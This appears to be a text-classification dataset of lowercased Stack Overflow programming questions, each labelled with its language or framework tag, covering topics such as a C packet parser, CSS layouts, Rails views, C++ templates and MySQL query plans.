removing bytes in a dump or utf-8 in c  i have a  c  program in my firestation that captures incoming packets to the station printer.  the program then scans the packet and sends and audible alert for what apparatus is due on the call.  the county recently started using utf-8 packets and the c program can not deal with all the extra  00  in the data flow.  i need to either ignore the 00 or set the program to handle utf-8.  i have looked for days and there is nothing concrete on how to handle utf-8 that a novice such as my self can handle.  below is the interpret part of the program.    <em>72 00 65 00 61 00 74 00  68 00 69 00 6e 00 67 00</em>  later in packet    <em>43 4f 44 45 53 45 54 3d  55 54 46 38 0a 40 50 4a</em>  beginning of packet   <pre><code>***void compressutf16 (char *buff  size_t count) { int i; for (i = 0; i &lt; count; i++)     buff[i] = buff[i*2];     // for xx 00 xx 00 xx 00 ... </code></pre>   }<em>*</em> {   u_int i=0;     char *searcher = 0;     char c;     int j;     int locflag;     static int locationtripped = 0;   <pre><code>    static char currentline[256];  static int currentlinepos = 0; static char lastdispatched[256]; static char dispatchstring[256];  char betastring[256];  static int a = 0; static int e = 0; static int pe = 0;  static int md = 0;  static int pulse = 0;  static char location[128]; static char type[16]; static char station[16];   static file *fp; static int printoutscanning = 0; static char printoutid[20]; static char printoutfileid[32];  static file *dbg;  if(pulse) {     if(pulse == 80) {         sprintf(betastring   beta a a a );         printf( betastring: \ %s\ \n   betastring);         system(betastring);         pulse = 0;      } else         pulse++; }      if(header-&gt;len &gt; 96) {         for(i=55; (i &lt; header-&gt;caplen + 1 ) ; i++) {             c = pkt_data[i-1];          if(c == 13 || c == 10) {             currentline[currentlinepos] = 0;             currentlinepos = 0;             j = strlen(currentline);             if(j &amp;&amp; (j &gt; 1)) {                  if(strlen(printoutfileid) &amp;&amp; printoutscanning) {                     dbg = fopen(printoutfileid   a );                     fprintf(dbg   %s\n   currentline);                      fclose(dbg);                 }                  if(!printoutscanning) {                     searcher = 0;                     searcher = strstr(currentline   incident history detail: );                      if(searcher) {                         searcher = searcher + 26;                         strncpy(printoutid  searcher  9);                         printoutid[9] = 0;                         printoutscanning = 1;                          a = 0;                  e = 0;                         pe = 0;                         md = 0;             for(j = 0; j &lt; 128; j++)                             location[j] = 0;                          for(j = 0; j &lt; 16; j++) {                             type[j] = 0;                             station[j] = 0;                         }                         sprintf(printoutfileid   calls/%s %.6d.txt   printoutid  header-&gt; ts.tv_usec);                         dbg = fopen(printoutfileid   a );                         fprintf(dbg   %s\n   currentline);                         fclose(dbg);                     }  </code></pre>,c
canceling :active link css attribute  in the code as below  i want to disable  a:active  color style on (a) position. is there a good way for it    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;style&gt;         a{ background-color: #000; }         a.foo{ background-color: #0f0; }         a.bar{ background-color: #00f; }         a:active{ background-color: #f00; }         /*             (a) i want to cancel :active color here.         */     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;a href= # &gt;hoge&lt;/a&gt;     &lt;a href= #  class= foo &gt;foo&lt;/a&gt;     &lt;a href= #  class= bar &gt;bar&lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
inner spacing between images   i wanted to create a gallery with thumbnails  however i ran into an issue. if i want to space out the thumbs  i should do something like <code>margin-right: 15px;</code>  however that would create space for the furthest-right image. how would i go about creating those spaces without having them at the edge of a template     example: <img src= https://i.stack.imgur.com/ntasb.jpg  alt= enter image description here >    thanks!,css
rails string expression  i m using rails 4 and trying to display a currency and amount in my show page.    i have a model which has expenses  currency and participation_cost attributes. expenses is a boolean. if true  then the currency and the expenses should be displayed.    if a project cost has participation expenses  i d like to display the amount followed by the currency  as follows:   <pre><code> &lt;% if @project.scope.try(:participant).try(:expenses) == true %&gt;           &lt;%=   #{@project.scope.try(:participant).try(:participation_cost)} #{@project.scope.try(:participant).try(:currency)}  %&gt;          &lt;% else %&gt;           &lt;%= render :text =&gt;  participants do not receive participation costs or payment  %&gt; </code></pre>   however  the output of this is only the number for participant costs  without the currency indicator. the database has a currency stored.    project model has:   <pre><code>class project &lt; activerecord::base    include rolemodel   # --------------- associations     #belongs_to :students  through: :courses  counter_cache: true    has_many :project_questions#  through: :projects   has_many :project_answers#  through: :project_questions    has_one :scope   accepts_nested_attributes_for :scope   has_one :educator_project_comment   has_many :project_student_eois   belongs_to :educator   has_many :project_invitations    has_many :observations    has_one :approval   belongs_to :industry    has_and_belongs_to_many :users     mount_uploader :hero_image  avataruploader   mount_uploader :link_to_video_proposal  videouploader   # --------------- scopes </code></pre>   can anyone see what i ve done wrong     thank you,ruby-on-rails
lambda vs anon vs static nested class  this class has three methods that do the same thing  they wait three seconds for the page to load and return true if the page has loaded. <br>my question is  how do i decide which piece of code is best  <br>i know that <a href= https://stackoverflow.com/questions/22637900/java8-lambdas-vs-anonymous-classes >lambda is preferred above anon classes</a>  but why is a static nested class (pageloaded3) not fine  according to <a href= https://stackoverflow.com/questions/253492/static-nested-class-in-java-why >this post</a> it should also be suited.   <pre><code>public final class expectedconditions {      private expectedconditions() {     }      public static expectedcondition&lt;boolean&gt; pageloaded1() {         return (driver) -&gt; {             try {                 thread.sleep(3000);             } catch (interruptedexception e) {                 e.printstacktrace();             }             return !((javascriptexecutor) driver).executescript( return performance.timing.loadeventend   new object[0])                     .equals( 0 );         };     }      public static expectedcondition&lt;boolean&gt; pageloaded2() {         return new expectedcondition&lt;boolean&gt;() {             @override             public boolean apply(webdriver driver) {                 try {                     thread.sleep(3000);                 } catch (interruptedexception e) {                     e.printstacktrace();                 }                 return !((javascriptexecutor) driver)                         .executescript( return performance.timing.loadeventend   new object[0]).equals( 0 );             }         };     }      public static expectedcondition&lt;boolean&gt; pageloaded3() {         return new pageloaded();     }      private static class pageloaded implements expectedcondition&lt;boolean&gt; {         @override         public boolean apply(webdriver driver) {             try {                 thread.sleep(3000);             } catch (interruptedexception e) {                 e.printstacktrace();             }             return !((javascriptexecutor) driver).executescript( return performance.timing.loadeventend   new object[0])                     .equals( 0 );         }     }  } </code></pre>   this is the interface of the return type of the three methods:   <pre><code>public interface expectedcondition&lt;t&gt; extends function&lt;webdriver  t&gt; {} </code></pre>,java
const incorrectness  why am i getting this error:<br> <strong>error 1   error c2662:  allocator::allocate  : cannot convert  this  pointer from  const allocator  to  allocator &amp; </strong>        thats code:     <pre><code>/*allocator.h*/     /*not finished yet but working*/     #pragma once     template&lt;class t&gt;     class allocator     {     public:         //typedef t value_type;         typedef t* pointer;         pointer allocate(std::size_t count);         pointer construct(void* address  const pointer obj);         template&lt;class fwditer&gt;         void destroy_(fwditer first fwditer last);         void deallocate_(void* where);         allocator();         ~allocator();      private:         void destroy_(const t* obj);       }; /*allocator_impl.hpp*/ #pragma once #include  stdafx.h  #include  allocator.h   template&lt;class t&gt; allocator&lt;t&gt;::allocator() { }   template&lt;class t&gt; allocator&lt;t&gt;::~allocator() {     /*destroy();     deallocate();*/ }  template&lt;class t&gt; typename allocator&lt;t&gt;::pointer allocator&lt;t&gt;::allocate(std::size_t count) {     return static_cast&lt;pointer&gt;(::operator new(sizeof(value_type) * count)); }  template&lt;class t&gt; typename allocator&lt;t&gt;::pointer allocator&lt;t&gt;::construct(void* address  const pointer obj) {     return new (address) t(*obj); }  //template&lt;class t&gt; //void allocator&lt;t&gt;::destroy() //{ //  //destroy_(addressbegin_  addressbegin_ + size_); //}  template&lt;class t&gt; void allocator&lt;t&gt;::destroy_(const t* obj) {     obj-&gt;~t(); }  template&lt;class t&gt; template&lt;class fwditer&gt; void allocator&lt;t&gt;::destroy_(fwditer first fwditer last) {     while (first != last)     {         destroy_(&amp;*first);         ++first;     } }  template&lt;class t&gt; void allocator&lt;t&gt;::deallocate_(void* address) {     ::operator delete(address); }  //template&lt;class t&gt; //void allocator&lt;t&gt;::deallocate() //{ //  //deallocate_(addressbegin_); //} /*toy.h*/         #pragma once     #include  allocator_impl.hpp        /*as a base to managed memory*/     template&lt;class t  class a = allocator&lt;t&gt;&gt;     class toybase     {            typedef t* pointer;     private:         a alloc_;     protected: //--------------------------------------comment here             pointer allocate(const std::size_t)const;&lt;------------when invoking this fnc from         explicit toybase();         virtual ~toybase();     };      template&lt;class t  class a&gt;     toybase&lt;t a&gt;::toybase()     {}       template&lt;class t  class a&gt;     toybase&lt;t a&gt;::~toybase()     {}     //--------------------------------------and comment here     template&lt;class t  class a&gt;     typename toybase&lt;t a&gt;::pointer toybase&lt;t a&gt;::allocate(const std::size_t count)const     {         return alloc_.allocate(count);&lt;-----------here     }     /* but when i remove const from fnc decl. it works. i do not understand it as i do not change an object merely invoke fnc on its member. */        template&lt;class t&gt;     class toyrepresentation : private toybase&lt;t&gt;     {     public:         typedef t value_type;         typedef t* pointer;         toyrepresentation(const std::size_t = 0);         void push(t*);         void pop();         void getsize()const;         void getcapacity()const;         void setcapacity(const std::size_t);         void reset();     private:         pointer data_;         std::size_t size_;         std::size_t capacity_;         static unsigned total_; //total number of created objects     };      template&lt;class t&gt;     unsigned toyrepresentation&lt;t&gt;::total_ = 0;       template&lt;class t&gt;     toyrepresentation&lt;t&gt;::toyrepresentation(const std::size_t count = 0): toybase&lt;t&gt;()  data_(allocate(count))  size_(0)  capacity_(count)     {     }      /*tmain*/  #include  stdafx.h  #include  toy.h   int _tmain(int argc  _tchar* argv[]) {     try     {         toyrepresentation&lt;int&gt; t;     }     catch(const std::exception&amp;)     {     }     return 0; } </code></pre>   comments to interesting lines are marked in code. thanks.,c++
make countdown timer start after link is clicked  how can i make countdown timer for my site links after a user clicked a link countdown timer should start. for example i have link  link 1 . i want when a user clicks on  link 1  countdown timer starts. can i make countdown timer for all links,html
what is the logic to move a paddle left and right automatically on the iphone   i am just developing a simple iphone application where a paddle moves left and right automatically.    my logic:   <pre><code>// first to determine the cgpoint of paddle cgpoint detectxy = cgpointmake(paddle.center.x  paddle.center.y);  // second to determine the velocity of paddle cgpoint paddlevelocity = cgpointmake(1 1);  // adding velocity with x y cordinate paddle.center = cgpointmake(paddle.center.x + paddlevelocity.x                               paddle.center.y + paddlevelocity.y); </code></pre>   but the paddle is not moving...    any ideas,iphone
need help c++ please  using bool etc  my task is: to write a program which reads characters one by one from the keyboard until the character ’q’ is entered. use a loop with and bool variable for exiting the loop. at the end a string containing all entered letter should be printed on the screen (except the ’q’).    this is what i have so far and i am kind of stuck now  everytime i run it i am only able enter 1 character then the program stops---> this occurred after i wrote the last line with if(b==true)....... .   <pre><code>int main() { bool b; char input[80]; int i;  b = false; while(b != true){     cout&lt;&lt; enter characters:  &lt;&lt;endl;     cin&gt;&gt;input[i];     if(input[i] ==  q ){         b == true;         break;     } }  if(b == true){     for(int j = 0; j &lt; 1; j++){         for(int x = 0; x &lt; 1; x++){             cout&lt;&lt;input[i]&lt;&lt;endl;         }     } } </code></pre>   please help. thank you very much.,c++
considerations for running a .net windows application from a network share  with .net 3.5 sp1 we can now run windows applications over the network by default. even with the earlier versions  with some effort (setting up code access security)   we could run executables from a network share.     my question is  what are the implications of distributing applications by putting them on a network share. for  e.g. how is performance impacted  are there any more security considerations apart from cas etc.     and how does it compare with distributing applications by say  installing them locally by manually copying the files across or using smart client,.net
ios left slide navigation mernu  i want to have in my app some nice slide navigationmanu just like in <a href= https://github.com/john-lluch/swrevealviewcontroller  rel= nofollow >swrevealviewcontroller</a>. my problem is that swrevealviewcontroller needs ios 7.0 and arc and in my project i have ios 6.0 without arc. is there any way to use swrevealviewcontroller in my app or maybe there is any alternative to it,ios
while providing username and password linkedin comes out my native application   i am new in this field.i am integrating linkedin in my native application.while i am providing user name and password it comes out my native application and opens the linkedin site so please help me. if any one has sample code for posting a blog on wall then please give me i am really needed it.,iphone
why is my  event  always null   i am trying to wire up a new event  but for some reason  changed  is always evaluating to null   <pre><code>    public class mytreeviewitem : inotifypropertychanged  {         private mytreeviewitem _parent;          public mytreeviewitem(mytreeviewitem parent)         {             _parent = parent;         }          private bool _checked;         public bool checked         {             get             {                 return _checked;             }             set             {                 if (value != _checked)                 {                     _checked = value;                     onchanged( test );                     onpropertychanged( checked );                 }             }         }          public event eventhandler changed;          public observablecollection&lt;mytreeviewitem&gt; children { get; set; }      // invoke the changed event; called whenever list changes     protected virtual void onchanged(string test)     {         if (changed != null)             changed(this  null);     } </code></pre>   <strong>subscribing code (propertychanged works  changed does not)</strong>   <pre><code>_playgrouptree = new mytreeviewitem(null); addchildnodes(4  ref _playgrouptree); _playgrouptree.changed += new eventhandler(_playgrouptree_changed); _playgrouptree.propertychanged += new propertychangedeventhandler(_playgrouptree_propertychanged); </code></pre>   is really weird because i am also implementing inotifypropertychanged (which works)  and this code is almost exactly the same (i have tried using the same deligate type  but still it does not work.    i have been using this website as a reference <a href= http://msdn.microsoft.com/en-us/library/aa645739%28vs.71%29.aspx  rel= noreferrer >http://msdn.microsoft.com/en-us/library/aa645739%28vs.71%29.aspx</a>,c#
converting binary to decimal in c++ without using conditionals  i m currently working on an assignment which requires me to write a program in c++ to convert a binary number inputted by the user into its decimal counterpart. doesn t sound too complicated  right  well  we can t use any form of conditional statements  we can t use strings  we can t use the binary-to-decimal function (can t remember which library it s in  but i know it exists). basically  we can t use anything we haven t learned in class.    i suppose it would be easier to open with what we have learned in class:   <ul> <li>importing libraries</li> <li>assigning values to variables</li> <li>basic mathematic operators</li> </ul>   i believe that a good place to start would be with modular division  i just don t really know how i d go about obtaining a correct answer without using conditionals. i ve been sitting here and raking my brain for the last 48 hours  but i still just haven t had that a-ha moment.    thanks for help in advance!    edit: for what it s worth  we are told to assume that the values are unsigned and have a maximum size of 4 bits.,c++
how to find data transfer rates for different connections in iphone   i m trying to find the api s for getting the data transfer rates for different connections like gps  gprs  3g 4g and wifi. i searched in the reachability  but couldn t find anything. was i looking at the wrong place  please help me.. thanks in advance.    vish.,iphone
what happens if we make an allocated pointer to an object as nil   i have seen this code in a couple of places.   <pre><code>xyz *xyz = [[xyz alloc] init]; </code></pre>   but in dealloc instead of <code>[xyz release]</code>;    people have used <code>self.xyz =  nil</code>;    won t this cause a memory leak      edit : it was not <code>xyz =  nil</code> as i wrote initially  it was <code>self.xyz = nil</code>  it was a property.,objective-c
"is it possible to scroll a div content between another 2 flex divs   i have a header bar(#a) sticked on top and a footer bar(#c) sticked on the bottom of the page. each one have a fixed height of <code>30px</code> and are represented here by the yellow color. they re sticked on there by the following code: <code>display:flex; align-content: space-between;</code>.    between of these 2 divs there is a red div with the page content(#b)  wich is bigger than the screen size. my objective is to let this red div takes only the remaining screen space  keep this height and scroll its content. but when i set <code>overflow:scroll</code> the scrollbar shows up with no effect.    i know there is another possibilities to perform this layout like a table with 3 rows  or placing the bars with <code>position:absolute</code> / <code>position:fixed</code> and get rid of the <code>display:flex</code>; but before of jumping out to these alternatives i want to know if the current scenario is possible.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   margin:0px;
 }
   
 #container {
     max-width: 100vw;
     max-height: 100vh;
     display: -webkit-flex;
     display: flex;
     -webkit-flex-wrap: wrap;
     flex-wrap: wrap;
     -webkit-align-content: space-between;
     align-content: space-between;
 }
 
 #a {
 width: 100%;
 height: 30px;
 }
   
 #b {
 display:inline-block;
 width: 100%;
 overflow: scroll;
 }
   
 #c {
 width: 100%;
 height: 30px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;/head&gt;
 &lt;body&gt;
 
 &lt;div id= container &gt;
   &lt;div id=a style= background-color:gold; &gt;&lt;/div&gt;
   &lt;div id=b style= background-color:tomato; &gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;
 &lt;/div&gt;
 &lt;div id=c style= background-color:gold; &gt;&lt;/div&gt;
 &lt;/div&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
js - how to default to a specific value if target value does not met  i m sorry to post this question but i m kinda newbie when it comes to <code>js</code>. i have created a simple page that will compute charging transactions  so what it will do is to simply multiply the <code>quantity</code> and <code>price</code> to <code>.25%</code>. but here is the trick  if the total product is less than <code>50</code> the <code>charge</code> field should default to <code>50</code> and that s where i m kinda lost     here is my code:   <pre><code>&lt;tr&gt;     &lt;td width= 144 &gt;quantity:&lt;/td&gt;     &lt;td width= 63 &gt;&lt;input type= text  name= quantity  id= quantity  size= 8 /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;price:&lt;/td&gt;     &lt;td&gt;&lt;input type= text  name= price  id= price  size= 8 /&gt;&lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;     &lt;td colspan= 4 &gt;&lt;strong&gt;charges:&lt;/strong&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;charge:&lt;/td&gt;     &lt;td&gt;&lt;input style= color:#f00  type= text  name= charge  id= charge  size= 8  readonly= readonly  /&gt;&lt;/td&gt;     &lt;td colspan= 2 &gt;quantity x price x .25% or 20 whichever is higher&lt;/td&gt; &lt;/tr&gt; </code></pre>   here is the <code>js</code> that i managed to have    <pre><code>    $(function () {         $( #quantity  #price ).keyup(function () {             var q = parsefloat($( #quantity ).val()); // quantity             var p = parsefloat($( #price ).val()); // price             if (isnan(q) || isnan(p) || q&lt;=0 || p &lt;= 0) {                 $( #charge ).val(  );                 return false;             }             $( #charge ).val((q * p * 0.0025).tofixed(3)); // charge         });     }); </code></pre>,javascript
mysql query with on duplicate key update  remove items not in values query  i have this table:   <pre><code>id  adv_nr  day item1 item2 item3 1   2       2   10    23    34 2   2       3   11    23    34 3   2       4   10    24    34 4   2       5   10    35    34 5   3       10  56    34    12 </code></pre>   the key is set on id (primairy) and adv_nr in combination with day (unique).    if there is a change in item1 or item2 i do a on duplicate key update  but how to handle in case of removal of day 4  i want to remove the row or set it on null. is there a way in the query to remove (or update to null) the values that have adv_nr = 2 and don’t exist in the values of the query  so the query will look like this:   <pre><code>insert into table  (`adv_nr` `day` `item1` `item2` `item3`)     values (2 2 10 24 34)  (2 3 11 28 34)  (2 4 10 35 34) on duplicate key update      item1 = values(item1)      item2 = values(item2)      item3 = values(item3); </code></pre>   how to remove (or update to null) the row with id 4,mysql
base directory for browscap path  in php.ini there is a line for adding a browser capability file:   <pre><code>browscap = extra/browscap.ini </code></pre>   which directory is this path relative to,php
append to the second to last line in a text file  so i m making a program to type what s in my clipboard into a text file  i plan on later transporting this information into an ahk script  but i want to do this all in one program  so if possible it will append to the .ahk file  but instead of it appending to the very last line  i need it to append to the line before return  which is the final line of the file.   <pre><code>send ::redeem n4e2vzcep {enter} sleep 1000 return </code></pre>   that s the end of the file  if possible i want my program to do something like:   <pre><code>string pasted = clipboard.gettext(); sw.writeline.secondlastline( send ::redeem   + pasted +   {enter} ); sw.writeline.secondlastline( sleep 1000 ); //fully aware that secondlastline is not a valid command </code></pre>   but i don t know what the proper way of actually coding this would be.    current code:   <pre><code>    private void paste_click(object sender  eventargs e)     {         string path = @ c:\users\john\desktop\auths.txt ;         using (streamwriter sw = file.appendtext(path))         {             string pasted = clipboard.gettext();             sw.writeline( send ::redeem   + pasted +   {enter} );             sw.writeline( sleep 1000 );         }      } </code></pre>,c#
switch/case statements in c++  regarding the switch/case statement in the c++ code below:  case 1  is obviously false  so how/why does it enter the do-while loop      <pre><code>#include &lt;iostream&gt;  using namespace std;  int main() {      int test = 4;      switch(test) {         case 1: do {             case 2: test++;             case 3: test++;             case 4: cout &lt;&lt;  how did i get inside the do-while loop   &lt;&lt; endl; break;             case 5: test++;         } while(test &gt; 0);         cout &lt;&lt; test &lt;&lt; endl;     } } </code></pre>,c++
is there a easy way to check which classes and methods are used in a c# file   i want compile c# code at runtime with the csharpcodeprovider classes and load them as plugins. but i don t want to allow  any  code in them for security reasons  for example it should not be possible to write/read files (just as a example).     what i would like to do is to check the c# file before i compile them and limit the plugin to only uses classes/methods from my api (and maybe some other basic methods like the math class).    so my question: is there a easy way to  scan  a c# file to know which classes/methods are used,c#
change uitableviewcell highlight does not work  i used the codes below to change the highlight color of uitabelviewcell   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface kuitableviewcell : uitableviewcell   -(void)setselected:(bool)selected animated:(bool)animated; -(void)sethighlighted:(bool)highlighted animated:(bool)animated;  @end #import  kuitableviewcell.h   @implementation kuitableviewcell  - (id)initwithstyle:(uitableviewcellstyle)style reuseidentifier:(nsstring *)reuseidentifier {     self = [super initwithstyle:style reuseidentifier:reuseidentifier];     if (self) {         // initialization code     }     return self; }    - (void)sethighlighted:(bool)highlighted animated:(bool)animated {     [super sethighlighted:highlighted animated:animated];     if (highlighted) {         self.backgroundcolor = [uicolor graycolor];     } else          self.backgroundcolor = [uicolor clearcolor];     } }  @end </code></pre>   sethighlighted was triggered  but does not change the hight color of the uitableviewcell    welcome any comment,iphone
jquery : snackbar : append() element add css by class and then remove() it with delay  i created a form with several inputs  one of them is  full name  and of course a submit button at the end.    function checks if the name input is alphabetical characters only  if true  it will append the div element   add the css class   snackbar will fade in and out  and finally disappear. what is wrong with the following code:   <pre><code>$(document).ready(function(){ $( .submitform ).click(function(){     var fullname = $( #firstname ).value;      var checkiftrue = /^[a-za-z ]+$/.test(fullname);     if (checkiftrue==true) {         $( body ).append( &lt;div id= textbox &gt; some text&lt;/div&gt; );          $( #textbox ).addclass( showpopup );         settimeout(function(){             $( #textbox ).remove();}  3000);          return true;     }      else {         alert( wrong input );         return false;     }    }) }) </code></pre>   and there is the relevant css:   <pre><code>.showpopup {   visibility : visible;   animation : fadein 0.5s  fadeout 0.5s 2.5s; }  @keyframes fadein {   from {bottom: 0; opacity: 0;}   to {bottom: 20px; opacity: 1;} }  @keyframes fadeout {   from {bottom: 20px; opacity: 1;}   to {bottom: 0; opacity: 0;} } </code></pre>   cheers (couldn t figure it out myself with : <a href= https://stackoverflow.com/questions/3655627/jquery-append-object-remove-it-with-delay >jquery: append() object  remove() it with delay()</a> ),jquery
html hyperlink not working for paragraph  i have two divs that act as links (<code>&lt;a&gt;</code>). one in one paragraph  the other in the second paragraph. the second link works: on mouseover (in chrome) the bottom left of the window displays the link address. the top one does not do the same. what is wrong  i m talking about the links in the paragraph tags  not the menu links.   <pre><code>&lt;body ontouchstart&gt;  &lt;div class= header &gt;   &lt;div class= logo &gt;q&lt;sup&gt;3&lt;/sup&gt;&lt;/div&gt;    &lt;div class= desc &gt;quito s qustom qode&lt;/div&gt;   &lt;/div&gt;    &lt;div class= row &gt;    &lt;div class= sidenav col2 &gt;     &lt;a id= about  class= link-active &gt;about&lt;/a&gt;     &lt;a id= pricing &gt;pricing&lt;/a&gt;     &lt;a id= projects &gt;projects&lt;/a&gt;     &lt;a id= legal &gt;legal&lt;/a&gt;    &lt;/div&gt;   &lt;/div&gt;&lt;!-- /row --&gt;    &lt;div class= row &gt;    &lt;div id= content  class= col10 &gt;     &lt;div class= info &gt;       &lt;div class= about &gt;        &lt;div class= profile-back &gt;        &lt;div class= profile &gt;&lt;/div&gt;       &lt;/div&gt;        &lt;div class= about-me &gt;        &lt;p&gt;kevin (quito [key -tow]) williams is an aspiring front-end web designer. he has 5 years of experience in html  4 years experience in css  and is currently studying jquery. as a modern web designer  he is using his coding background to study the latest web technologies: html5  css3  &lt;a href= http://www.google.com &gt;rwd&lt;/a&gt;. in addition to his web technology languages  he is also familiar with: c&lt;sup&gt;++&lt;/sup&gt;  javascript  java  perl  lua (minecraft based)  lisp  sql. &lt;/p&gt;        &lt;p&gt;&lt;a href= http://www.google.com &gt;hello&lt;/a&gt;&lt;/p&gt; </code></pre>,html
mysql 5.6 long where in query very slow  since version 5.6 of mysql a very simple albeit long query takes several orders longer than in 5.4.    the schema: three tables  one with elements  one with categories and an m:n table tween those. create statements:   <pre><code>create table element (   id int(11) not null auto_increment    name varchar(255) character set utf8 collate utf8_bin not null    primary key (id) ) engine=innodb auto_increment=4257455 default charset=utf8 collate=utf8_unicode_ci;  create table category (   id int(11) not null auto_increment    name varchar(255) collate utf8_unicode_ci not null    primary key (id) ) engine=innodb auto_increment=76 default charset=utf8 collate=utf8_unicode_ci;  create table elements_categories (   id int(11) not null auto_increment    element_id int(11) not null    category_id int(11) not null    primary key (id)    unique key element_id (element_id category_id)    key elements_categories_element_id (element_id)    key elements_categories_category_id (category_id)    constraint d7d489b06a407a0c1c70f108712c815e foreign key (category_id) references category (id)    constraint co_element_id_57f4f2ec0db9441c_fk_element_id foreign key (element_id) references element (id) ) engine=innodb auto_increment=88131737 default charset=utf8 collate=utf8_unicode_ci; </code></pre>   the query:   <pre><code>select elements_categories.element_id  category.id  category.name from category     inner join elements_categories         on category.id = elements_categories.category_id where elements_categories.element_id in (1  2  3  ...) </code></pre>   so  the element table does not even play a role in this query  i already got a bunch of ids from with with a previous query. (disclaimer: i m using an orm and also inlining the first query did not make things faster.) the number of values in the in clause can become very big  in my example 14240. that s not a problem  takes a tenth of a second or so. that s the execution plan:   <pre><code>| id | select_type | table               | type   | possible_keys                                                             | key        | key_len | ref                             | rows  | extra                    | +----+-------------+---------------------+--------+---------------------------------------------------------------------------+------------+---------+---------------------------------+-------+--------------------------+ |  1 | simple      | elements_categories | range  | element_id elements_categories_element_id elements_categories.category_id | element_id | 4       | null                            | 42720 | using where; using index | |  1 | simple      | category            | eq_ref | primary                                                                   | primary    | 4       | elements_categories.category_id |     1 | null                     | </code></pre>   when i add <strong>one</strong> more element  the execution time explodes to 60 seconds plus a fetch time of 200 seconds. the execution plan also changes to this:   <pre><code>| id | select_type | table               | type | possible_keys                                                             | key                             | key_len | ref         | rows | extra       | +----+-------------+---------------------+------+---------------------------------------------------------------------------+---------------------------------+---------+-------------+------+-------------+ |  1 | simple      | category            | all  | primary                                                                   | null                            | null    | null        |   75 | null        | |  1 | simple      | elements_categories | ref  | element_id elements_categories_element_id elements_categories_category_id | elements_categories_category_id | 4       | category.id |  760 | using where | </code></pre>   <em>range</em> and <em>eq_ref</em> lookups exchanged for <em>all</em> and <em>ref</em>  order of tables switched  not using <em>elements_categories.category_id</em> as ref although it is the foreign key between those two tables. i don t get why the plan gets changed like this.    there are 75 categories and 4 300 000 elements and 1 600 000 assignments.    my guess is that i m exceeding some size limit here  but cannot figure out which one. also i didn t change anything from the mysql 5.5 installation which stuck to the former execution plan all the time.,mysql
rails 4 increment  i have a user model and it has a views attribute.    i want to increment views by 1 each time their profile is viewed.    the views attribute is defaulted to 0 in the db.    now the problem i am having is the following:   <ul> <li> first time profile is viewed  @user = user.find(params[:user_id])  @user.increment!(:views) this will set views equal to 1. </li> <li> second time profile is viewed views is updated to 3. </li> </ul>   it seems at random times views is updated by 2 and not 1.,ruby-on-rails
how to implement in-app purchases in my application  i want to implement  in-app purchase  in my iphone application with auto-renewable subscription  for this i referred the following link:-    <a href= http://www.raywenderlich.com/2797/introduction-to-in-app-purchases  rel= nofollow >http://www.raywenderlich.com/2797/introduction-to-in-app-purchases</a>    but when i want to run on device i get two pop up that asks me for  confirm  subscription  &amp; when i click on confirm button then i get  login window for login using test user account for sandbox checking  after that it gives me one more pop up to tell  you re currently subscribed to this .    but apple has rejected my application saying that  we found that your app exhibited one or more bugs  when reviewed on iphone 4 running ios 5.0.1  on a wi-fi network  which is not in compliance with the app store review guidelines. we found when the user makes a purchase  the app displays and error message.     if i run my application on different iphone &amp; ipad 2 with ios 5.o then it gives me one error message saying  transaction error: cannot connect to itunes store     so please guide me for this problem.    thanks &amp; regards  priyanka.,ios
jquery click without being attached to the dom <pre><code>var html =  &lt;div&gt;&lt;a href= #  id= test &gt;btn&lt;/a&gt;&lt;/div&gt; ; $(html).find( #test ).click(function(){   console.log( clicked ); }); //later $(htmlnode).html(html); </code></pre>   why don t i receive the  clicked  log,jquery
does exist an  in  operator for angular js   i mean something like this:   <pre><code>&lt;div ng-if= ctrl.type in( a    b    c ) &gt;lorem ipsum&lt;/div&gt; </code></pre>   to use in the place of several ors:   <pre><code>&lt;div ng-if= ctrl.type ==  a  || ctrl.type ==  b  || ctrl.type ==  c  &gt;lorem ipsum&lt;/div&gt; </code></pre>,angularjs
